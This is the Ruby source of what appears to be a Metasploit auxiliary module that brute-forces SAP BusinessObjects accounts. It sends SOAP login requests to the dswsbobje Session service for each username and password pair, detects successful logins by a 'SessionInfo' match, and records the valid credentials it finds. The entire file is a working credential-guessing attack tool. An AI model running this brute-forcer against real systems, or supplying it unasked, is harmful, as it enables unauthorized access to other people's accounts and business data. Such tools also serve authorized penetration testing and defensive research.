125 lines
3.9 KiB
Ruby
125 lines
3.9 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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include Msf::Exploit::Remote::HttpClient
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include Msf::Auxiliary::Report
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include Msf::Auxiliary::AuthBrute
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include Msf::Auxiliary::Scanner
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def initialize
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super(
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'Name' => 'SAP BusinessObjects User Bruteforcer',
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'Description' => 'This module attempts to bruteforce SAP BusinessObjects users.
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The dswsbobje interface is only used to verify valid credentials for CmcApp.
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Therefore, any valid credentials that have been identified can be leveraged by
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logging into CmcApp.',
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'References' =>
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[
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# General
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[ 'URL', 'http://spl0it.org/files/talks/source_barcelona10/Hacking%20SAP%20BusinessObjects.pdf' ]
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],
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'Author' => [ 'Joshua Abraham <jabra[at]rapid7.com>' ],
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'License' => MSF_LICENSE
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)
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register_options(
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[
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Opt::RPORT(8080),
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OptString.new('URI', [false, 'Path to the SAP BusinessObjects Axis2', '/dswsbobje']),
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])
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register_autofilter_ports([ 8080 ])
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end
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def run_host(ip)
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res = send_request_cgi({
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'uri' => "/dswsbobje/services/listServices",
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'method' => 'GET'
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}, 25)
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return if not res
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each_user_pass { |user, pass|
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enum_user(user,pass)
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}
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end
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def report_cred(opts)
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service_data = {
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address: opts[:ip],
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port: opts[:port],
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service_name: opts[:service_name],
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protocol: 'tcp',
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workspace_id: myworkspace_id
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}
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credential_data = {
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origin_type: :service,
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module_fullname: fullname,
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username: opts[:user],
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}.merge(service_data)
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login_data = {
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core: create_credential(credential_data),
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status: Metasploit::Model::Login::Status::UNTRIED,
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proof: opts[:proof]
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}.merge(service_data)
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create_credential_login(login_data)
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end
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def enum_user(user='administrator', pass='pass')
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vprint_status("#{rhost}:#{rport} - Trying username:'#{user}' password:'#{pass}'")
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success = false
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soapenv='http://schemas.xmlsoap.org/soap/envelope/'
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xmlns='http://session.dsws.businessobjects.com/2007/06/01'
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xsi='http://www.w3.org/2001/XMLSchema-instance'
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data = '<?xml version="1.0" encoding="utf-8"?>' + "\r\n"
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data << '<soapenv:Envelope xmlns:soapenv="' + soapenv + '" xmlns:ns="' + xmlns + '">' + "\r\n"
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data << '<soapenv:Body>' + "\r\n"
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data << '<login xmlns="' + xmlns + '">' + "\r\n"
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data << '<credential xmlns="' + xmlns + '" xmlns:ns="' + xmlns + '" xmlns:xsi="' + xsi + '" Login="' + user + '" Password="' + pass + '" xsi:type="ns:EnterpriseCredential" />' + "\r\n"
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data << '</login>' + "\r\n"
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data << '</soapenv:Body>' + "\r\n"
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data << '</soapenv:Envelope>' + "\r\n\r\n"
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begin
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res = send_request_raw({
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'uri' => normalize_uri(datastore['URI'], "/services/Session"),
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'method' => 'POST',
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'data' => data,
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'headers' =>
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{
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'Content-Length' => data.length,
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'SOAPAction' => '"' + 'http://session.dsws.businessobjects.com/2007/06/01/login' + '"',
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'Content-Type' => 'text/xml; charset=UTF-8',
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}
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}, 45)
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return :abort if (!res or (res and res.code == 404))
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success = true if(res and res.body.match(/SessionInfo/i))
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success
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rescue ::Rex::ConnectionError
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vprint_error("#{rhost}:#{rport} - Unable to attempt authentication")
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return :abort
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end
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if success
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print_good("#{rhost}:#{rport} - Successful login '#{user}' : '#{pass}'")
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report_cred(
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ip: rhost,
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port: rport,
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service_name: 'sap-businessobjects',
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user: user,
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proof: res.body
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)
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return :next_user
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else
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vprint_error("#{rhost}:#{rport} - Failed to login as '#{user}'")
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return
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end
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end
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end
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